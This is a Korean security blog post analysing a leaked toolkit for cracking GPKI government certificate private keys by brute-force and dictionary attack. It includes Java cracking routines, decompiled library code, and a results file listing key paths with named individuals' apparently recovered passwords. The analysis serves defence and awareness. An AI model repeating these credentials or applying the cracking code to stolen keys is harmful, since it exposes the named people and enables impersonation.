데프콘 : GPKI 패스워드 크랙(세부버전)
- 데프콘 : GPKI 패스워드 크랙의 세부 내용 버전 공개
기초자료
GPKI 인증서 관련 파일에 대해 논한 글에서 이미 제시했지만 관련 파일들 목록을 다시 살필 필요성이 있어 표를 다시 가져왔다.
| 파일명 | 설명 | 생성일 |
|---|---|---|
allzip.sh |
gkpi20200425 하위에 있는 ZIP 파일의 압축해제 | |
| 5초마다 zip 파일 확인 | 2016.04.27 | |
allzipex.sh |
gpki_cert 폴더의 모든 .egg 파일을 찾아 압축해제하여 gpki_cert/egg에 저장 | 2016.04.22 |
cert.iml |
IntelliJ IDEA 모듈 설정 파일 | 2025.04.21 |
dict/pass.txt |
한글 패스워드 사전 파일 | 2020.05.25 |
dict/pass1.txt |
패스워드 2개 저장 | 2020.06.08 |
dict/passwd.txt |
패스워드 사전 파일 | 2016.04.20 |
extracted-key-20200512/*_env.cer |
공개키 | 2019.05.09 |
extracted-key-20200512/*_env.key |
개인키 | 2019.05.09 |
extracted-key-20200512/*_sig.cer |
공개키(서명) | 2019.05.09 |
extracted-key-20200512/*_sig.key |
개인키(서명) | 2019.05.09 |
gpkiapi.lic |
GPKI 표준 API 모듈 사용을 위한 라이센스 파일 | 2017.11.01 |
gpkiapi.lic.bak |
GPKI 표준 API 모듈 사용을 위한 라이센스 파일 백업으로 추정 | 2018.02.08 |
korear.kr_plain_text_password.txt |
한글 패스워드 사전 파일(20.892) | 2020.04.23 |
lib/bcpkix-jdk15to18-165.jar |
PKI 및 암호화 관련 기능을 사용하기 위해 필요한 Bouncy Castle 라이브러리 버전 1.65 | 2020.04.20 |
lib/bcprov-ext-jdk15to18-165.jar |
암호화 알고리즘이 추가된 확장 모듈 | 2020.04.20 |
lib/gpkisecureweb-1.0.6.3.jar |
GPKI 표준 웹보안 API를 위한 자바 라이브러리 파일 | 2017.11.06 |
lib/jline-terminal-3.2.0.jar |
JLine 라이브러리의 모듈 | 2020.05.11 |
lib/joda-time-2.10.6.jar |
자바에서 날짜와 시간을 다루기 위해 사용되는 Joda-Time 라이브러리의 파일 | 2020.05.11 |
lib/libgpkiapi_jni.jar |
GPKI 표준보안 API를 자바 언어로 호출하기 위한 JNI 라이브러리 | 2011.08.18 |
pass1.txt |
후보 패스워드 사전 파일(18개) | 2020.05.13 |
passes.txt |
후보 패스워드 사전 파일(40,600개) | 2016.04.23 |
results.txt |
GPKI Crack 결과 파일 | 2016.05.13 |
/src |
GPKI Crack Source Code | 2025.05.28 |
GPKI 관련 파일들
이번 글의 시작점이 된 것은 바로 results.txt파일로 내용을 살펴보면 키 파일의 경로와 패스워드가 저장되어 있다는 것을 알 수 있다. 일반적으로 존재하는 파일은 아니며 누군가가 목적성을 갖고 만든 파일이라는 것을 알 수 있다. 그리고 이 파일의 내용을 일부인 “Key : “라는 문자열을 검색하면 Java 소스코드와 연결되는 것을 알 수 있다. 그렇다면 results.txt 파일과 Java 소스코드에 대해 살펴봐야 한다.
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_env.key Password $cys13640229
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password kla53128099*
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password !jinhee1650!
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password $cys13640229
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_env.key Password ssa9514515!!
Key: /home/user/Downloads/cert/gkpi20200425/GPKI/Certificate/class2/136박정욱001_env.key Password kla53128099*
Key: /home/user/Downloads/cert/gkpi20200425/class2/163권오영001_sig.key Password ssa9514515!!
상황이 너무 뻔히 보이는 상황이므로 결론부터 언급하자면 /work/home/user/Downloads/cert/src 하위 파일들은 GPKI 인증서를 크랙하기 위해 Java로 개발된 응용프로그램의 소스코드이다.
| 파일명 | 설명 | 생성일 |
|---|---|---|
cert.java |
사전 파일을 읽고 인증서 크랙 | 2016.09.18 |
CertCracker.java |
Thread 기반으로 Cracker 실행 | 2020.05.10 |
Cracker.java |
전수조사 공격 기반 인증서 크랙 | 2020.05.10 |
DictCracker.java |
사전 공격 기반 인증서 크랙 | 2016.05.13 |
EncryptedData.java |
데이터 암호 처리 관련 클래스 | 2025.04.14 |
single.java |
인증서 크랙 결과 단일 검증 클래스 | 2025.04.21 |
single_bak.java |
SEED/CBC 암호문 복호화 테스트 | 2015.01.21 |
위 표에 있는 파일 중, 중요 파일 몇 가지를 세부적으로 확인한다. 각각의 파일을 살펴보면 GPKI 인증서를 크랙하기 위해 전수조사(Brute-force Attack)와 사전 공격(Dictionary Attack) 할 수 있도록 구현되어 있다는 것을 알 수 있다. 전수조사를 위한 코드는 Cracker.java에서 사전 공격을 위한 코드는 DictCracker.java에서 확인할 수 있다.
Cracker.java
Cracker.java 는 Runnable 클래스로 재귀 메소드 generate(StringBuilder sb, int n) 이용해 ALPHABET에서 정의한 문자로 가능한 후보 패스워드를 생성한다. 이 후보 패스워드를 사용하여 dec 메소드를 호출하고 이때 전달하는 인자는 생성한 후보 패스워드 passwd와 인증서 경로를 가르키는 srcPath 이다. Cracker.java에서는 srcPath로 gpki_cert 라는 경로를 전달한다. dec 메소드에서는 srcPath를 기반으로 .key 파일을 확인하고 패스워드를 담은 passwd와 key 파일의 절대 경로를 사용하여 GapiDec라는 메소드를 호출한다.
public static void dec(String passwd, String srcPath) {
File file = new File(srcPath);
int foldeNum = 0;
if (file.exists() && file.isDirectory()) {
LinkedList<File> list = new LinkedList<>();
File[] files = file.listFiles();
for (File file2 : files) {
if (file2.isFile()) {
Path p = Paths.get(file2.getAbsolutePath());
String file_1 = p.getFileName().toString();
if (file_1.endsWith(".key")) {
GapiDec(passwd, file2.getAbsolutePath());
}
} else {
list.add(file2);
foldeNum++;
dec(passwd, file2.getAbsolutePath());
}
}
} else if (file.exists() && file.isFile()) {
Path p = Paths.get(file.getAbsolutePath());
String file_1 = p.getFileName().toString();
if (file_1.endsWith(".key")) {
GapiDec(passwd, file.getAbsolutePath());
}
}
}
GapiDec 함수는 다음과 같으며 내부에서 Disk.readPriKey라는 메소드를 호출하는데, GapiDec 함수가 받은 인자들의 전달 순서만 바꿔서 호출한다.
public static void GapiDec(String passwd, String srcPath) {
try {
GpkiApi.init(".");
PrivateKey priKey = Disk.readPriKey(srcPath, passwd);
System.out.println("Key: " + srcPath + " " + "Password " + passwd);
} catch (Exception ignored) {
System.out.print(ignored.getMessage());
// if (ignored.getMessage().contains("1301")) {
// System.out.println(srcPath);
// System.out.println(ignored.getMessage());
// }
}
}
Disk.readPriKey라는 함수는 Cracker.java에서 확인할 수 없으며 com.gpki.gpkiapi.storage 패키지 내에서 확인해야 한다. com.gpki.gpkiapi.storage 패키지는 libgpkiapi_jni_jar 파일에서 확인할 수 있다. Jar 내에 선언되어 있으므로 Decompile 통해 코드를 확인하면 다음고 같다. 전반적인 코드를 살펴보면 readPrikey 메소드는 GapiDec에서 확인할 수 있듯이 paramString1는 Key 파일의 경로, paramString2는 패스워드를 인자로 받고 pkcs5.decrypt 메소드를 호출한다. 메소드 명에서 이제 확실한 윤곽이 잡히는 상황이다. PKCS5를 사용하여 키 파일을 보호하고 있으며 이를 복호화하겠다는 것을 의미한다.
Disk.readPriKey라는 함수는 Cracker.java에서 확인할 수 없으며 com.gpki.gpkiapi.storage 패키지 내에서 확인해야 한다. com.gpki.gpkiapi.storage 패키지는 libgpkiapi_jni_jar 파일에서 확인할 수 있다. Jar 내에 선언되어 있으므로 Decompile 통해 코드를 확인하면 다음고 같다. 전반적인 코드를 살펴보면 readPrikey 메소드는 GapiDec에서 확인할 수 있듯이 paramString1는 Key 파일의 경로, paramString2는 패스워드를 인자로 받고 pkcs5.decrypt 메소드를 호출한다. 메소드 명에서 이제 확실한 윤곽이 잡히는 상황이다. PKCS5를 사용하여 키 파일을 보호하고 있으며 이를 복호화하겠다는 것을 의미한다.
/* */ package com.gpki.gpkiapi.storage;
/* */
/* */ import com.gpki.gpkiapi.cert.X509Certificate;
/* */ import com.gpki.gpkiapi.crypto.PrivateKey;
/* */ import com.gpki.gpkiapi.exception.GpkiApiException;
/* */ import com.gpki.gpkiapi.pkcs.Pkcs5;
/* */ import java.io.File;
/* */ import java.io.FileInputStream;
/* */ import java.io.FileOutputStream;
/* */ import java.io.FileWriter;
/* */ import java.io.PrintWriter;
/* */
/* */ public class Disk {
/* */ public static byte[] read(String paramString) throws GpkiApiException {
/* 34 */ if (paramString == null || paramString.length() == 0)
/* 35 */ throw new GpkiApiException("The path is empty. You must input a value for it.");
/* 38 */ byte[] arrayOfByte = null;
/* */ try {
/* 42 */ File file = new File(paramString);
/* 43 */ arrayOfByte = new byte[(int)file.length()];
/* 45 */ FileInputStream fileInputStream = new FileInputStream(paramString);
/* 46 */ fileInputStream.read(arrayOfByte);
/* 47 */ fileInputStream.close();
/* */ } catch (Exception exception) {
/* 51 */ throw new GpkiApiException(exception.getMessage());
/* */ }
/* 54 */ return arrayOfByte;
/* */ }
/* */
...
...
...
/* */ public static PrivateKey readPriKey(String paramString1, String paramString2) throws GpkiApiException {
/* 191 */ if (paramString1 == null || paramString1.length() == 0)
/* 192 */ throw new GpkiApiException("The path is empty. You must input a value for it.");
/* 194 */ if (paramString2 == null || paramString2.length() == 0)
/* 195 */ throw new GpkiApiException("The passwd is empty. You must input a value for it.");
/* 198 */ byte[] arrayOfByte = read(paramString1);
/* 200 */ Pkcs5 pkcs5 = new Pkcs5();
/* 201 */ return pkcs5.decrypt(arrayOfByte, paramString2);
/* */ }
/* */
...
...
...
/* */ }
/* */ }
/* Location: /work/home/user/Downloads/cert/lib/libgpkiapi_jni.jar!/com/gpki/gpkiapi/storage/Disk.class
* Java compiler version: 1 (45.3)
* JD-Core Version: 1.1.3
*/
Pkcs5 클래스의 decrypt 메소드를 보면 내부적으로 PRIKEY_Decrypt 메소드를 호출하고 메소드가 정상적으로 실행되면 개인키를 리턴한다. 이는 패스워드가 맞다면 정상적인 복호화가 가능하고 이는 개인키 파일을 사용할 수 있는 패스워드를 획득했다는 의미이다.
/* */ package com.gpki.gpkiapi.pkcs;
/* */
/* */ import com.gpki.gpkiapi.crypto.Algorithm;
/* */ import com.gpki.gpkiapi.crypto.PrivateKey;
/* */ import com.gpki.gpkiapi.exception.GpkiApiException;
/* */ import com.gpki.gpkiapi_jni;
/* */
/* */ public class Pkcs5 {
/* 19 */ private gpkiapi_jni gpkiapi = new gpkiapi_jni();
/* */
/* */ public byte[] encrypt(PrivateKey paramPrivateKey, String paramString1, String paramString2) throws GpkiApiException {
/* 37 */ if (paramPrivateKey == null)
/* 38 */ throw new GpkiApiException("The priKey is empty. You must input a value for it.");
/* 39 */ if (paramString1 == null || paramString1.length() == 0)
/* 40 */ throw new GpkiApiException("The passwd is empty. You must input a value for it.");
/* 41 */ if (paramString2 == null || paramString2.length() == 0)
/* 42 */ throw new GpkiApiException("The algorithm is empty. You must input a value for it.");
/* 44 */ int i = Algorithm.getSecretKeyAlg(paramString2);
/* 46 */ if (this.gpkiapi.PRIKEY_Encrypt(Algorithm.code2id(i), paramString1, paramPrivateKey.getKey()) > 0)
/* 47 */ throw new GpkiApiException(this.gpkiapi.sDetailErrorString);
/* 49 */ return this.gpkiapi.baReturnArray;
/* */ }
/* */
/* */ public PrivateKey decrypt(byte[] paramArrayOfbyte, String paramString) throws GpkiApiException {
/* 62 */ if (paramArrayOfbyte == null || paramArrayOfbyte.length == 0)
/* 63 */ throw new GpkiApiException("The encPriKey is empty. You must input a value for it.");
/* 64 */ if (paramString == null || paramString.length() == 0)
/* 65 */ throw new GpkiApiException("The passwd is empty. You must input a value for it.");
/* 67 */ if (this.gpkiapi.PRIKEY_Decrypt(paramString, paramArrayOfbyte) > 0)
/* 68 */ throw new GpkiApiException(this.gpkiapi.sDetailErrorString);
/* 70 */ return new PrivateKey(this.gpkiapi.baReturnArray);
/* */ }
/* */ }
/* Location: /work/home/user/Downloads/cert/lib/libgpkiapi_jni.jar!/com/gpki/gpkiapi/pkcs/Pkcs5.class
* Java compiler version: 1 (45.3)
* JD-Core Version: 1.1.3
*/
Pkcs5 클래스의 PRIKEY_Decrypt 메소드 호출 시, 패스워드가 맞지 않다면 GpkiApiException 이 발생할 것이고 그렇지 않으면 새로운 후보 패스워드를 인자로 받아 dec 메소드 - GapiDec 메소드 순서로 코드를 실행한다. GapiDec에 전달한 후보 패스워드가 맞다면 GapiDec 메소드에서 알 수 있듯이 Exception 발생하지 않고 화면에 키 파일의 경로와 확인한 패스워드를 출력하고 코드는 종료한다.
System.out.println("Key: " + srcPath + " " + "Password " + passwd);
DictCracker.java
DictCracker.java 는 Cracker.java 와 동일한 Runnable 클래스로 DictCracker.java의 내용을 파악하기 위해서는 DictCracker.java를 사용하는 cert.java 파일을 살펴봐야 한다. cert.java 파일을 보면ExecutorService를 통해 DictCracker 클래스의 run 메소드를 호출한다. 이 때, ArrayList s라고 선언된 ArrayList를 사용하는데 s라는 인자가 pass.txt 파일로부터 받은 후보 패스워드들을 저장하고 있다.
DictCracker.java 는 Cracker.java 와 동일한 Runnable 클래스로 DictCracker.java의 내용을 파악하기 위해서는 DictCracker.java를 사용하는 cert.java 파일을 살펴봐야 한다. cert.java 파일을 보면ExecutorService를 통해 DictCracker 클래스의 run 메소드를 호출한다. 이 때, ArrayList s라고 선언된 ArrayList를 사용하는데 s라는 인자가 pass.txt 파일로부터 받은 후보 패스워드들을 저장하고 있다.
String dictPath = "/home/user/Downloads/cert/dict/pass.txt";
ArrayList<String> passwords = new ArrayList<>();
START_TIME = System.currentTimeMillis();
int cores = Runtime.getRuntime().availableProcessors()/2;
try {
File file = new File(dictPath);
if (!file.exists()) {
System.out.println("dict file not exsit");
}
InputStreamReader inputStreamReader = new InputStreamReader(new FileInputStream(file));
BufferedReader bf = new BufferedReader(inputStreamReader);
String str;
while ((str = bf.readLine()) != null) {
passwords.add(str);
}
bf.close();
inputStreamReader.close();
} catch (Exception e) {
}
ProgressBar pb = new ProgressBar("Task", passwords.size());
ArrayList s = splitArray(passwords, passwords.size() / cores);
다시 DictCracker.java 로 돌아와서 코드 흐름을 살펴보면 cert.java로부터 전달받은 후보 패스워드(pass.txt 파일에서 추출)들을 하나씩 사용하여 dec 메소스를 호출하고 dec 메소드는 내부적에서 Gapidec 메소드를 호출하여 인증서를 크랙한다. 결국 코드의 흐름은 Cracker.java에서 확인한 메소드 호출 순서와 동일하다. 차이점은 Cracker.java에서는 generate 메소드를 통해 후보 패스워드를 생성했다면 DictCracker.java에서는 pass.txt 파일을 사용한 사전 공격을 수행한다는 것이다. DictCracker.java 에서도 Cracker.java 와 동일하게 다음과 같은 코드를 확인할 수 있다.
System.out.println("Key: " + srcPath + " " + "Password " + passwd);
Results.txt
DictCracker.java 와 Cracker.java 에 대한 설명 마지막 부분에 println 코드를 보면 문득 떠오르는 파일이 하나 있다. 앞서 언급했던 results.txt파일이다. results.txt 파일을 보면 아래 그림과 같이 위 코드 실행결과를 txt 파일로 저장했다는 것을 알 수 있다.

분석 결과 총평
정적으로 코드의 내용을 분석하고 파일로 남아 있는 결과를 있는 그대로 해석했다. 남아 있는 파알 내용으로만 보자면 어떠한 경로인지 알 수 없으나 GPKI 인증서 유출이 있었으며 인증서를 사용하기 위해 누군가가 크랙을 시도했다는 것이다. 그리고 크랙 시도 결과가 저장된 파일이 있었다는 것이다. 이 부분에서 공격자가 유출된 파일 그대로 활용하려 하지 않고 파일을 보다 적극적으로 활용하기 위해 노력한다는 점을 생각해봐야 한다.
유출된 파일들이 어떤 내용을 담고 있으며 그 파일만의 표면적 내용으로 “어떤 행위가 가능하다 가능하지 않다”를 언급하곤 한다. 예를 들어 암호화되어 있으니 안전하다거나 해시 처리 했으므로 안전하다는 것이 대표적이다. GPKI 크랙과 같이 공격자는 필요하면 암호화된 데이터를 복호화하려고 노력할 것이며 해시 처리된 데이터를 찾기 위해 다시 크랙을 시도할 것이다. 사실 암호화는 복호화를 할 수 있는 방법이 있으며 해시 함수는 그 입력이 무엇인가에 따라 크랙의 가능성이 열려 있다.
사실 모든 내용을 있는 그대로 해석하고 논리적으로 판단해야한다. 과도한 추론과 망상까지 이어지면 안된다. 그러나 공격자는 망상까지는 아니지만 할 수 있다 판단하는 행위는 GPKI 인증서와 같이 얼마든지 시도한다는 것이다. 그렇다면 대응의 방식과 범위에 대해서도 지금과는 다르게 바라봐야 한다는 결론에 도달할 것이다. 눈에 보이는 보여주기 위한 노력보다는 과하지 않으며 논리적이고 합리적인 보다 의미있고 확실한 대응을 위해 조금 더 깊이 있는 논의가 이어졌으면 한다.
Related Materials
- A Systematic Evaluation of Cryptographic Misuse Detection ..., 2022
- Nope, S7ill not Secure: Stealing Private Keys From S7 PLCs, 2024
- Certificate analysis Checks digital certificates for issues like expiry or trust, highlighting security weaknesses, 2024
- A Method for Detection of Private Key Compromise, 2014
- 정보보안 사후 학습자료 (Password Cracking Overview), 2022



